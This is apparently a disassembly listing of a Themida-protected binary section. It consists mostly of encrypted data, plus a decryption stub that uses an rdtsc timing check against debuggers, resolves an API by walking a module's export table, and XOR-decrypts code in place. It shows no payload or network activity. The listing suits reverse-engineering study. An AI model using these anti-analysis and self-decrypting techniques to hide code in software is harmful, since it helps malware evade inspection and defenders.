		dd 2B0890D8h, 566E94D3h, 5D88ED46h, 0A6F091B1h,	1842FFC4h
		dd 0EF4D4071h, 9E968691h, 4714718Eh, 4AC1C8BAh,	0B2B0FBAh
		dd 0C05A964Dh, 0A21D36FBh, 3F65777h, 0B9A79D56h, 97AA8F58h
		dd 0F40CC320h, 79D82BD8h, 7310D29Dh, 0E8D453C9h, 0B766CDF6h
		dd 0F511D40Bh, 0DF418813h, 500C90D8h, 0F407B637h, 25A617D8h
		dd 96BCDA3h, 5DAD742Dh,	0F3F61A8Bh, 5C8290D8h, 0F39A7Bh
		dd 126CC7B8h, 7076887h,	5F0A9754h, 0D2979636h, 0F40C8820h
		dd 29CCA9D8h, 0C3754BEEh, 8A478CEEh, 166A4F7Ah,	305AE32Eh
		dd 0C0B8825Dh, 0F40CBB20h, 8ADC55D8h, 472D67AAh, 0A320D003h
		dd 59F838A0h, 0D2443504h, 9E2A8108h, 0B72F38AFh, 0F40C90DAh
		dd 6D91EAB2h, 0C54A91F7h, 1ABE9712h, 9892D1B8h,	6E4F0FB7h
		dd 0E6447F66h, 1C0C90D8h, 73638010h, 1D811AF8h,	0EF5F5461h
		dd 8B4E1A8h, 91CEC8C3h,	1C0258h, 0CB0E7CEEh, 0F40C90D5h
		dd 0F40CBF20h, 0DB3D16D8h, 0F7FDBE74h, 0E3C812C3h, 6131D8B1h
		dd 5523747Fh, 0F41017ADh, 197090D8h, 2E3CFFDFh,	0BB7A1A44h
		dd 4919E15Eh, 8C933B3h,	60A976F2h, 0EED85E27h, 0C045C891h
		dd 250C90D8h, 0A7A0F8A6h, 0BFB1F203h, 52054AD5h, 157E9790h
		dd 0F407B721h, 17415FD8h, 0CB310333h, 0F3B9176Ah, 6F3090D8h
		dd 0DDCDDB32h, 2D941878h, 0D3D2D60Bh, 4A217312h, 0C9360FB3h
		dd 0C0D4A54Ch, 9C3774AFh, 4237C19Ch, 0EE51EF58h, 0E645E719h
		dd 400C90D8h, 94E424D0h, 0DB15759Fh, 0A972ADAFh, 0CAA9ABC0h
		dd 41EA9833h, 0B97DE961h, 0E9765950h, 0F40C1B5Ah, 0B33F87D8h
		dd 0C24F3DB7h, 3C2A8556h, 84FB6113h, 0E72A874Ch, 0BA0C90D8h
		dd 0EEEA510Fh, 0EA44CF91h, 0DB0C90D8h, 0AF77CE7Ah, 0F53977h
		dd 472E588Bh, 23A67D88h, 60A7DBAAh, 0B4B60B08h,	0F3FD128Dh
		dd 568E6DAFh, 0F3C111C9h, 728690D8h, 0EEB56C2Eh, 0F40CC055h
		dd 0F40F15D8h, 758690D8h, 0AB13BE77h, 707902Dh,	4D26BA0Ch
		dd 0F407B720h, 709B54D8h, 0CD2B6E79h, 38BA8796h, 0F40C90CAh
		dd 0A0EF60Eh, 4FABA44Ch, 0E5C21C12h, 7BDF795Ch,	0A78D45A8h
		dd 0D923C470h, 610C90D8h, 0FADF6C00h, 3A237489h, 0F407BA22h
		dd 0C5978BD8h, 134B5563h, 78FB8590h, 916874E6h,	0F40C921Dh
		dd 0C74A68D8h, 0FB435BA7h, 0E2825E66h, 0A3236D9Ch, 0F40CBE37h
		dd 8E585ED8h, 0A641FEE9h, 4899FBF8h, 0E631E9F2h, 7F733371h
		dd 0F407B620h, 6C6DD4D8h, 0AA4E3465h, 9D097A0Bh, 5370F350h
		dd 3A708E82h, 221457C4h, 0B89EEA57h, 0F145EE56h, 8A0C90D8h
		dd 0CFE21225h, 1A7A69CDh, 0DC3E6BFDh, 76EE79F7h, 0F3DD18E6h
		dd 0BD4890D8h, 0BD848E45h, 870E8591h, 401C48Ch,	0BF158261h
		dd 311A0FB7h, 0C0CF7E14h, 0F3DC17ADh, 855990D8h, 0E57BBB42h
		dd 0CAEFF482h, 3D14DCF1h, 5D07CEAFh, 0F40C90DBh, 0CB076CB1h
		dd 0F40C90CEh, 0C24DCFC9h, 8969356h, 0EEA746C7h, 0F40C1B58h
		dd 0EE4E10D8h, 0A629A667h, 0E98A6D4Ch, 0B9B50291h, 0EEC5E612h
		dd 0BF14FF91h, 0C15236D9h, 0F78CBACDh, 390C90D8h, 0F40C90CBh
		dd 819A5E66h, 36E8C83Dh, 7CA9F348h, 4FEE6D5Fh, 7415CFC9h
		dd 33EE3117h, 10A8699Dh, 0F32ABA1Ah, 0C10C90D8h, 8011CB70h
		dd 70E530Ah, 91717118h,	0E538C19Ah, 630C90D8h, 0F3DD172Ch
		dd 72B190D8h, 53892C12h, 969ABE71h, 58AE062Eh, 0B71EDA24h
		dd 0F40C90BFh, 188D3AF2h, 945F0DFDh, 39B70CDEh,	9F07CB15h
		dd 38B56A02h, 0F40C90BEh, 35B7FAA2h, 1A07BBCEh,	0EA3D462Bh
		dd 0CA968549h, 0A98C710Eh, 498C7B3Ch, 7A387312h, 394C57C2h
		dd 0F40C90BFh, 0A7BCFF02h, 4715FC8Fh, 69DC2AEBh, 0DAA1C7B7h
		dd 0ABD2F258h, 0F40C90BEh, 0C168241Ch, 2B5008F1h, 7E81BB89h
		dd 0F98E8071h, 0B93D1299h, 234C9F58h, 0B18D7487h, 0B9ACCE22h
		dd 4FFAA258h, 4E8D74AFh, 0E12329B4h, 568CBA2Bh,	30C90D8h
		dd 0F40894C3h, 54BA90D8h, 0AC1B57C9h, 0F40C90F1h, 2A0E672Ah
		dd 290D87FFh, 0D6E224E7h, 1D8DC5C5h, 0B0D2B17Fh, 60A972B5h
		dd 0EEDEC10Ah, 30ADFA19h, 0EEAD6FDAh, 0F40C8D4Eh, 0A58C85D8h
		dd 0AA238F6Eh, 0B89DFF56h, 0F7E8D458h, 0BF3038B2h, 0F40CBD20h
		dd 0BC2B49D8h, 5F8995C4h, 0A61BDB9Eh, 0E0AB6E74h, 3BECC40Dh
		dd 0A52374ADh, 0F40CBB1Dh, 0C2E258D8h, 4826AA61h, 0AB04D5AAh
		dd 0B3EBA2Dh, 6E600F87h, 38E2E72Dh, 0F40C90C1h,	1423AA6Ah
		dd 534C9B4Ah, 4E87A677h, 3F5470FDh, 4E8C7104h, 4142FAB1h
		dd 0B38CEC56h, 0EF4F362Dh, 0F40C184Fh, 863E72D8h, 4A71744Ah
		dd 0E1CD026h, 60961B4Ah, 0D366EF33h, 0C37E3593h, 398C72F1h
		dd 0B9ADE9DDh, 0AB9F8E56h, 0F40C90C3h, 7DD33995h, 98EB3EC6h
		dd 0B8D152BDh, 48F2F358h, 0B254FE3Dh, 0EEB0658Fh, 0CA969D19h
		dd 705CDE17h, 0E764B32Eh, 0BA09CFDDh, 0A68DEC56h, 2255938Fh
		dd 0AD132A13h, 398D74A7h, 4E452ED2h, 0A60C90D8h, 53FBEF68h
		dd 0CC07417Ah, 0F40C90C9h, 0F3FA0DC9h, 730790D8h, 0F40C90D5h
		dd 34B1CDB8h, 0D4305DA1h, 0E52ABAD9h, 110C90D8h, 302D0DC8h
		dd 0EEC765DDh, 0A58D0291h, 0BFA6AA3Eh, 0F407B720h, 31F9B5D8h
		dd 4B66D4E1h, 0AF3E7104h, 0F40E178Fh, 106490D8h, 0D802CC20h
		dd 0C79A16Dh, 2D69EAA8h, 0D3ACFC57h, 966EFA58h,	0CF717280h
		dd 0C10D811Ah, 0B2AEA358h, 0EEAC5E30h, 0F40C9458h, 663C7DD8h
		dd 0EA143DAFh, 0F40C3654h, 17350DD8h, 0EEC102AFh, 0C044F991h
		dd 710C90D8h, 0C78D8E67h, 242C8A75h, 4ED646DDh,	0B05605C1h
		dd 412E0FB7h, 1B9B6D9Bh, 0F40C8821h, 0C75723D8h, 1675D8D0h
		dd 6ACB636Fh, 94495BC9h, 0AF8C1AE4h, 0A1252699h, 2D9C9475h
		dd 0E45F4A5Fh, 290C90D8h, 958F0BE2h, 5E8F7A0Dh,	70E7198h
		dd 0F40F9FD0h, 0B31C90D8h, 9134C8AFh, 0A18C72DCh, 0AB9EA19Eh
		dd 0F40C90CBh, 38ABFD83h, 636E050Eh, 0CF940EF1h, 20669B87h
		dd 3B2AB92Dh, 6007EC43h, 0F40C90DBh, 8423E556h,	0F40C9120h
		dd 5E427D8h, 60CD43FCh,	9F3A22Fh, 45427490h, 0A5426FBEh
		dd 1AF404DEh, 0F825C18Bh, 390C90D8h, 0F40C90CBh, 64888A86h
		dd 0FADEDEABh, 67C6BBF5h, 0EA51EFA9h, 0F38EC187h, 500C90D8h
		dd 0E255D1BAh, 0B537C1B8h, 8C60C512h, 0B99B6F82h, 0F22257C2h
		dd 0F40C9257h, 9EFC36D8h, 0D9A7B972h, 0F3A5A027h, 6FDD90D8h
		dd 0AF3784A0h, 0EEC06DB8h, 0F40CC243h, 0F3B915D8h, 7A5C90D8h
		dd 0BFFEAF1Ah, 371D0A5Fh, 0D3B82115h, 0C24CCFC2h, 0A2B9FC58h
		dd 8FB0FAFh, 490C275Ch,	514044Fh, 0DC5F4966h, 820C90D8h
		dd 0DE772EB2h, 56856597h, 38812F45h, 484568D3h,	0E00C90D8h
		dd 0FEF20D56h, 60FCBA54h, 11EA57C2h, 0A98C7451h, 4D3B00BAh
		dd 0F407B620h, 0EFE7ECD8h, 0B045B0CCh, 28D0BCBFh, 48078B0Eh
		dd 637165F8h, 0EEFB57C2h, 5A079E19h, 0F40C90D7h, 0C99EFE4Fh
		dd 0CAA9B00Bh, 7156F17h, 0E3BDC139h, 3E3FC1B8h,	0F3C139C9h
		dd 0E53E90D8h, 0E03D97Bh, 9388CB8Dh, 6F078A56h,	0F40C90CEh
		dd 0EF4D3DBAh, 0F40C1B4Eh
		dd 412A72D8h, 0F407BA1Dh, 0E36CB8D8h, 30C93942h, 8ED00DCAh
		dd 0DBB5D54Dh, 0F40717B8h, 867D90D8h, 25B65E17h, 6BAB8CC8h
		dd 0CF32B91Fh, 0D41E43EDh, 38AC72AFh, 0F40C90BDh, 0B446AD78h
		dd 31B58528h, 0C6C0051Fh, 0C514017Dh, 3949FD0Fh, 0F40C90C0h
		dd 2E836696h, 0DBF7B3B6h, 0CE2D6D29h, 0A4EF7E98h, 7041B3D7h
		dd 60F7CC0Bh, 9D8DA3AAh, 1BEA42A9h, 0C5E4CFC3h,	0DAB0FC58h
		dd 0F40C35C9h, 574490D8h, 910C90D8h, 0A81B3527h, 357F33C2h
		dd 0C097EF57h, 0F40C9120h, 908E9DD8h, 1E40FA6Ch, 48607011h
		dd 0FD0C90D8h, 0F87A1338h, 52C3ACAAh, 29153DB7h, 0C23557C3h
		dd 0EEE5BA0Fh, 0F40C8842h, 0F3B818D8h, 0AFC890D8h, 77FE429Ch
		dd 0DD1A26AEh, 1B864A11h, 4D3FC1B0h, 23330FBAh,	0E642E2B7h
		dd 0F40C1B54h, 162A72D8h, 0F40CBE21h, 5350E0D8h, 0EE42A767h
		dd 879B1F7Fh, 0B51DF1D8h, 292991D2h, 0F40CBF21h, 6740CBD8h
		dd 1370FDDEh, 27D3F6D2h, 0DA687261h, 0B1179838h, 0CAA8E378h
		dd 838C712Bh, 0CA96D2A1h, 741435F0h, 0B6780C36h, 0CAB6CAE3h
		dd 0A98D0E95h, 7A98C5A2h, 57D09AD0h, 132144E4h,	0C89B2776h
		dd 49A0A82Eh, 499B4361h, 0A136F419h, 0F24CB616h, 6B92149Ch
		dd 49A0DD62h, 22062619h, 812BAC65h, 98796451h, 0E36F4FC4h
		dd 49A0A801h, 782F4FC9h, 0F4652387h, 64B2C3B8h,	5CF5BD4Ch
		dd 0BB3D4800h, 547F1647h, 5B4183A6h, 0B959E099h, 713D98B7h
		dd 0FC2AB170h, 9CA26A6Eh, 10204741h, 9FE918D9h,	6A23B4FEh
		dd 0E581D399h, 0B03C4AB5h, 13BE462Fh, 0C79B49FAh, 49A0A818h
		dd 0EFD9AF97h, 0B0A0A819h, 7660E8A8h, 769C9113h, 5540B25Dh
		dd 4AD9D0A6h, 5DA0A819h, 0FAE5B743h, 27801EAEh,	0A86E0B29h
		dd 0F32967Bh, 0E1C4B15h, 0EFFCE914h, 0C5A23EBFh, 49A0A80Fh
		dd 4B93E8FEh, 0A7D0CF4Eh, 0E9FE7E99h, 0CB9B3798h, 49A0A80Fh
		dd 988FBBFBh, 9298E39Ah, 5EA9D897h, 0E35A5C52h,	49A0A7FEh
		dd 0C72D9BB6h, 14C9751Fh, 73E84526h, 5F77BBF4h,	0B58BE299h
		dd 49A03A61h, 45FB3D19h, 74B59B6h, 37CDC5B5h, 0A16BA527h
		dd 0ECB44DFh, 9CA615Dh,	55566DE6h, 499B8C96h, 58D3FB19h
		dd 62A0A819h, 52B3F20Bh, 0AA219C2Eh, 0AA421C38h, 0C5EBFA9Bh
		dd 80F73542h, 464CE1F2h, 1930A819h, 6C0EC899h, 10379822h
		dd 0ABB7EBFFh, 2BA329F4h, 65BF2A64h, 499B3F61h,	4B5BAD19h
		dd 6B48C3D8h, 2E86FA5h,	68A50AEEh, 3E2237FAh, 63A0A819h
		dd 3951DE99h, 0A13D016Bh, 0EFD9B034h, 0B8A0A819h, 0C842A255h
		dd 0BE87ED9Ah, 713C5D4Ch, 3ABE716Ah, 0FA214A87h, 81E26F95h
		dd 43A2F0F4h, 94BB29FBh, 0D3B12825h, 465AB903h,	42D8A819h
		dd 9DA0A819h, 12DF216Ch, 0BBB5E20Ch, 48CC37CBh,	64A0A819h
		dd 49A0DD61h, 0FB08BF19h, 5B16DAD3h, 49A0DD62h,	5F38AE19h
		dd 5206EE9h, 8E2594D5h,	6DB9F0ECh, 53D39D2Ah, 9A0A819h
		dd 0D624E5E5h, 0D82326F8h, 60D52C6h, 8030C685h,	0DC2144F2h
		dd 0BF9B27EBh, 49A0A818h, 0BB2E49F9h, 68B95C73h, 49A03B62h
		dd 0F3118619h, 3A2B22FDh, 11ACC702h, 2F8F80E2h,	4EBF92EDh
		dd 49A03E74h, 9910FE19h, 19D5AB35h, 0F68AB245h,	604047C7h
		dd 0FC8CA999h, 49A12703h, 53A9A819h, 49A03B97h,	464CE319h
		dd 0F31AA819h, 5324FBCh, 9C6A5226h, 0F1D8E1FCh,	6DA0A819h
		dd 97B9847Dh, 3E8690CDh, 0FEB744F9h, 0E1B751F9h, 499B4474h
		dd 0AB80319h, 0F9498309h, 0E1B952FEh, 63301B0Dh, 0C9D70B4Ch
		dd 0E3DCBE49h, 519A26DEh, 547E2103h, 0BB2AB14Eh, 5EADF663h
		dd 0E5207597h, 550337E3h, 11A0A819h, 49A0A816h,	0A534CB52h
		dd 0E7204607h, 7143731Eh, 5E2AF23Ch, 719B5182h,	49A0A818h
		dd 14EEDB97h, 9C94784Dh, 4670E324h, 0E36A819h, 0E092914h
		dd 9919FFD0h, 86147CB5h, 0BB3D9B8Eh, 63191E40h,	0DDDB8D0h
		dd 49A0A801h, 9AB091F3h, 0BCD01F57h, 58D958BBh,	0D7A0A819h
		dd 0AD9D748Eh, 4233B993h, 7595FC1Eh, 3D32E4E2h,	80B96A02h
		dd 0A12AD412h, 603B00BAh, 83937E99h, 44B437F9h,	0C9A0A819h
		dd 0CFD05D60h, 6398829Ah, 44A9C599h, 712AD5F9h,	0B43D015Fh
		dd 0BF9B626Ah, 49A0A7FDh, 499B4274h, 0B8B1F619h, 2B1B823Fh
		dd 896F387h, 712E58ACh,	49A2D96Ah, 248FA819h, 0E11F2430h
		dd 0F71248F3h, 866F013Bh, 0BB2A17A6h, 6052264Fh, 0BA8EE052h
		dd 60D3F64Ah, 4984E32Eh, 0FD5AA819h, 0AC82E98Bh, 6B2C2655h
		dd 0B34D8357h, 2190DD76h, 0F0D95EF0h, 62A0A819h, 0D0314A93h
		dd 1E1AA667h, 0C9AD42C5h, 0C5517979h, 0A7E744C4h, 0BB3C4A69h
		dd 3148C97Ah, 0BABF2835h, 0BA9B49F9h, 49A0A818h, 3DD916ABh
		dd 2DA0A819h, 0FA289325h, 49A0B161h, 7EEE6019h,	872A7B13h
		dd 123377A4h, 0E581BE8Dh, 53D8896Ch, 79A0A819h,	38BF88E1h
		dd 0BDBE2F52h, 0F49783EBh, 632B1292h, 66D7C899h, 20C67599h
		dd 0C4A4FED9h, 0BA9BB272h, 49A0A804h, 49A03E61h, 46585719h
		dd 5CBB78D3h, 23B630E1h, 0F7E84863h, 0ECD95217h, 0A5A0A819h
		dd 0C3F36FB1h, 54ACE084h, 712AD4A6h, 53DFB12h, 55471FD8h
		dd 49A0AB99h, 52AAC19h,	0E820A81Bh, 464DD985h, 517BA819h
		dd 9E399522h, 0A645959Dh, 0E295A09Ch, 49A0A7FDh, 9ADF9C3Fh
		dd 0DA9CFE86h, 0A5AE9A06h, 0DAB337ECh, 5328E452h, 498AE02Bh
		dd 22B1A819h, 8872442h,	49A03A63h, 79DF3719h, 72349EF8h
		dd 4465E581h, 0EDE0CDEh, 7DCEA659h, 482238B1h, 63A0A819h
		dd 6FA88197h, 4637E140h, 382A819h, 691FDC27h, 3666CED5h
		dd 13B3B100h, 0E1B745B2h, 0A195C599h, 39D295F2h, 0BF9BED95h
		dd 49A0A80Fh, 6049AEC6h, 7E72C699h, 3A50E7F4h, 54C6BBF9h
		dd 49A0A898h, 9C9B4919h, 3DD95141h, 92A0A819h, 24B89FD6h
		dd 0AED97D9Ah, 0BDA28E56h, 49A0A815h, 49F4C3A4h, 0AD20462Eh
		dd 713D9B90h, 53BE4273h, 0E2A0A819h, 49A0A800h,	2D24A605h
		dd 3BE053FEh, 10217491h, 4CE29F5h, 4639E03Bh, 799BA819h
		dd 721D7586h, 11D02870h, 49A0A800h, 0B2B2837h, 2AEC7703h
		dd 7B2C3A90h, 9F637774h, 5B663049h, 28DC29F4h, 0C3E1BBCAh
		dd 9C9B4A5Fh, 464CE141h, 66E0A819h, 0CB7B981Eh,	4568C59Fh
		dd 0E42098F3h, 97AE576Eh, 6C9B49F2h, 49A0A815h,	0CD7A29FBh
		dd 0C9A84944h, 0E99F8A5Bh, 712E4B02h, 4BED2943h, 4CBE3E12h
		dd 0E2A0A819h, 49A0A803h, 89198FDCh, 59E4387Eh,	0F8039D0Dh
		dd 1231282Dh, 49A0A802h, 80F36D33h, 0F09B1059h,	491F3F5Eh
		dd 63A0A819h, 0BA7C0FD0h, 98413754h, 42B837E9h,	0BAA0A819h
		dd 0D7BB2F5Fh, 0E1AEC200h, 5F73BBFBh, 37EDF199h, 4AD9D5A6h
		dd 5DA0A819h, 7AB0B973h, 0F2ACA551h, 18E23153h,	0DBF34882h
		dd 58DF2B36h, 70F937F5h, 5493645Bh, 7C6555BDh, 0F348EB80h
		dd 499B4474h, 0FD723919h, 130BC4C4h, 63843258h,	0E3728452h
		dd 49A0A802h, 0CD2EDD8h, 0B940D371h, 0BD9BE4A5h, 49A0A814h
		dd 0E158C58Ch, 712E5989h, 4637DC3Ch, 2985A819h,	0D3AE9D0Eh
		dd 0B32F5E9Ch, 8F7EB57Dh, 0AF32969Fh, 5E9A1C61h, 8A845191h
		dd 6048A1ABh, 60407697h, 11A875D0h, 49A0A815h, 0B240A575h
		dd 0E41C2B8h, 49A0A7FFh, 6DC3D64Dh, 0FD693C4Bh,	0C717A3Ah
		dd 49A03662h, 0B6C04C19h, 61C9C4Dh, 7857CEFFh, 842D40B7h
		dd 8C325ECAh, 6FA45146h, 3204757h, 11A8B2C8h, 49A0A81Ch
		dd 9C48463Bh, 6344364Fh, 4FC3D299h, 712A22A6h, 0AD2423Fh
		dd 11B5EFFBh, 49A0A800h
		dd 222493BAh, 50ABBA67h, 0E6FB40C0h, 27935292h,	69A5ADD0h
		dd 64C4CC9Ah, 463EDECAh, 8B9FA819h, 0FC83ADE5h,	1D9789BCh
		dd 0C64047F4h, 0B221393Fh, 90D12657h, 49A22B03h, 0B340A819h
		dd 77EEB47Bh, 5AC3BBF4h, 2612E7F4h, 49A1C304h, 0C9A9A819h
		dd 0DB959C54h, 52C92B15h, 0BA6675EEh, 8AD6785Fh, 464CDEF5h
		dd 0D552A819h, 73BF0537h, 0C0F0CBE8h, 0C29BC04Ch, 49A0A818h
		dd 0E348709Ch, 49A0A808h, 0DB40B2B3h, 45FAC319h, 0B51BE86Dh
		dd 0F07CD153h, 9C9BDAE7h, 0E27E6442h, 0C438479Ah, 0D6C26455h
		dd 6636D521h, 0E2C6E903h, 49A0A808h, 192F44C9h,	0AAE39F84h
		dd 2FD8BE1Bh, 0A8697724h, 0E3403E1Eh, 49A0A81Bh, 30A5B551h
		dd 5551AC7Fh, 499B4299h, 3CCCB119h, 63A0A819h, 5F8CEDD0h
		dd 0EF39614Ch, 11AB20FEh, 49A0A81Ch, 55E3D471h,	63879C47h
		dd 7009E891h, 49BE3F31h, 0E1A0A819h, 0BEE944F9h, 4656E335h
		dd 0C966A819h, 9018573Bh, 7A5D723h, 0DE8BA407h,	0F51098F0h
		dd 4656DEECh, 0F5D0A819h, 65AC29C5h, 34A3FCCEh,	8F0B3B4Fh
		dd 41791192h, 486BECFBh, 0DC2144C4h, 554015B4h,	49A0DD8Ch
		dd 0D9DB2819h, 5A91BBF4h, 0BFC140A7h, 603B46D6h, 0C69BD097h
		dd 49A0A81Ah, 8D9329ECh, 5B5BCBE1h, 0A8600352h,	713D4822h
		dd 3F093E12h, 54A0A819h, 49A0A881h, 6D24B19h, 0F8410EEFh
		dd 930CB518h, 0E2CA2103h, 49A0A81Bh, 6A972C12h,	0B996B114h
		dd 3EB4B18Dh, 54A0A819h, 49A0A89Bh, 4639E319h, 8B74A819h
		dd 0C7AA0033h, 0AE7877A9h, 0A96DF0EFh, 45D392F5h, 35A0A819h
		dd 79420348h, 0DF2706Bh, 0A4928722h, 97E0E903h,	499B4461h
		dd 52EA0419h, 0D3F3A13Eh, 554EF6E2h, 3ED87A4Eh,	0DDA0A819h
		dd 0FB1EEA4Dh, 3EB8B137h, 70A0A819h, 4AD45258h,	0D6A0A819h
		dd 48316AD1h, 15023258h, 0E32F8C1Ch, 0A5C0F6ADh, 3B0AB12Eh
		dd 70A0A80Fh, 603C524Ah, 62B7D54Ch, 5AF563A7h, 49A0A761h
		dd 4066B619h, 0A03F78F7h, 6FFC789Ah, 0D2C32943h, 5FC82103h
		dd 8ED17C53h, 49A0DD61h, 0D5117A19h, 6649F256h,	0B441D980h
		dd 5CB00474h, 46343103h, 0B32AA819h, 0F0D9EA54h, 19A0A819h
		dd 0F6AB8AF0h, 51DAD361h, 54677BBAh, 49A0A799h,	1A204619h
		dd 0E33B857Ah, 49A0A815h, 4F2E60F6h, 3297E7D9h,	0DE408ACDh
		dd 9C9BEA97h, 4CA6616Ah, 6072D64Dh, 5553F253h, 49A0DD96h
		dd 0A5772819h, 5AC3BBFAh, 0A22AD897h, 603C5485h, 0A22AEB97h
		dd 0CC41B45Fh, 13FFh dup(0CCCCCCCCh), 0CCCCCCh,	3CCh dup(0)
; ---------------------------------------------------------------------------


loc_61F000:				; DATA XREF: Themida_:006222CCo
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_61F04C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_61F041
		mov	ebx, [eax+2985h]
		jmp	short loc_61F04A
; ---------------------------------------------------------------------------


loc_61F041:				; CODE XREF: Themida_:0061F037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_61F04A:				; CODE XREF: Themida_:0061F03Fj
		mov	ebx, [ebx]


loc_61F04C:				; CODE XREF: Themida_:0061F01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 109FF1h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 103h
		rep movsb
		call	sub_61F125
		mov	ecx, eax
		call	sub_61F125
		sub	eax, ecx
		jz	short loc_61F0F7
		cmp	eax, 100h
		ja	short loc_61F0F7
		and	ebx, 0FFFFF000h


loc_61F08B:				; CODE XREF: Themida_:0061F09Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_61F09C


loc_61F094:				; CODE XREF: Themida_:0061F0A9j
		sub	ebx, 100h
		jnz	short loc_61F08B


loc_61F09C:				; CODE XREF: Themida_:0061F092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_61F094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_61F0B6:				; CODE XREF: Themida_:loc_61F0CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_61F0CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_61F0CF


loc_61F0CA:				; CODE XREF: Themida_:0061F0BFj
		loop	loc_61F0B6
		pop	ecx
		jmp	short loc_61F0F7
; ---------------------------------------------------------------------------


loc_61F0CF:				; CODE XREF: Themida_:0061F0C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_61F12A
		jmp	short loc_61F13F
; ---------------------------------------------------------------------------


loc_61F0F7:				; CODE XREF: Themida_:0061F07Cj
					; Themida_:0061F083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_61F123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_61F123:				; CODE XREF: Themida_:0061F102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_61F125	proc near		; CODE XREF: Themida_:0061F06Ep
					; Themida_:0061F075p
		rdtsc
		retn
sub_61F125	endp

; ---------------------------------------------------------------------------
		db 2Fh,	0E9h

; =============== S U B	R O U T	I N E =======================================



sub_61F12A	proc near		; CODE XREF: Themida_:0061F0F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_61F132:				; CODE XREF: sub_61F12A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_61F132
		pop	ebx
		retn
sub_61F12A	endp

; ---------------------------------------------------------------------------


loc_61F13F:				; CODE XREF: Themida_:0061F0F5j
		mov	ebp, 54D10000h
		into
		inc	ecx
		add	[eax], ah
		or	al, 3Dh
		jnp	short locret_61F164
		mov	ch, bh
		mov	bh, 0F2h
		ja	short loc_61F1C1
		ror	byte ptr [edx+0Ch], 1


loc_61F156:				; CODE XREF: Themida_:0061F19Dj
					; Themida_:0061F1A9j
		fsubr	st, st(3)
		std
		and	al, 19h
		popf
		sub	ebp, [esi+1]
		dec	ebp
		cmp	al, 71h
		add	al, 84h

locret_61F164:				; CODE XREF: Themida_:0061F14Bj
		retn	0FBC4h
; ---------------------------------------------------------------------------
		db 0EDh
		dd 76CC15C1h, 4273201Ch, 6938A63Bh, 0B5637D7h, 0D9E19B6Dh
		dd 3BC11FD7h, 9E92528Ch, 6C5DC285h, 1BB9EDF3h, 3F6A166Dh
		dd 7998AB42h
		db 2Ah
; ---------------------------------------------------------------------------


loc_61F195:				; CODE XREF: Themida_:0061F1CFj
		mov	cl, cl
		lahf
		xchg	dl, [ebx]
		or	eax, [edx+5Bh]
		jno	short loc_61F156
		jno	short loc_61F1A8
		and	[eax-7Ch], dl
		cmpsd
; ---------------------------------------------------------------------------
		db 0DDh, 0FBh, 22h
; ---------------------------------------------------------------------------


loc_61F1A8:				; CODE XREF: Themida_:0061F19Fj
		xchg	eax, esi
		jz	short near ptr loc_61F156+1
		lds	edi, [esi+21h]
		iret
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9D7DB9F1h, 69FAEFE0h, 409AFC5Dh, 6F828B4Ch
		db 26h
; ---------------------------------------------------------------------------


loc_61F1C1:				; CODE XREF: Themida_:0061F151j
		lds	edx, [eax+4]
		mov	edx, 2186B405h
		mov	word ptr [eax+23h], es
		db	26h
		dec	edx
		jz	short loc_61F195
		dec	eax
		insd
		mov	[edi+399E256Ah], ecx
		sbb	esp, eax
		fucomp	st(3)
		sub	eax, 400CF7A7h
		xor	[ecx], ah
		adc	[ebx+ebx*8], dh
		pop	ds
		test	[si+2A64h], cl
		or	dword ptr [eax+65D8C139h], 1Ch
		add	ebp, [edi+6]
		dec	ebx
		push	ds
		aad	0C9h
		push	eax
		and	byte ptr gs:[edx-71h], 38h
		inc	eax
		dec	eax
		mov	esp, 8CCE02B4h
		sbb	dh, [ecx]
		or	byte ptr [ebx+3], 46h
		jmp	short near ptr loc_61F20E+1 ; CODE XREF: Themida_:loc_61F20Ej
; ---------------------------------------------------------------------------
		dd 6DDCE75Eh, 0D0868A6Fh, 0BDDE38DAh, 9F8A0DC8h, 0C81870E9h
		dd 0F30024A2h, 0F780DC55h, 27F05683h, 0F77E6D4Eh, 0AB739ACFh
		dd 0FCAB802h, 22C5DE3Bh, 419080DCh, 4A41A997h, 95DCC87Eh
		dd 270A8B72h, 4CB50831h, 7B76B813h, 0FF6BE98Eh,	34E20228h
		dd 52F8FA25h, 96936BC7h, 0A55CCF70h, 0BBF1DD90h, 17B84F18h
		dd 0E381A6F8h, 2D055CEEh, 0F1046BE4h, 0B5E3A059h, 1C4EC757h
		dd 0B5BE7B21h, 578011D3h, 0F970296Bh, 0F3C6CA2Bh, 3D756C5Dh
		dd 0E1949B74h, 4155B0A9h, 217CD6E8h, 0C546F415h, 675AFE13h
		dd 9E23875h, 0FCBA325Eh, 25B47DA7h, 0EF131EFAh,	0AF7655D6h
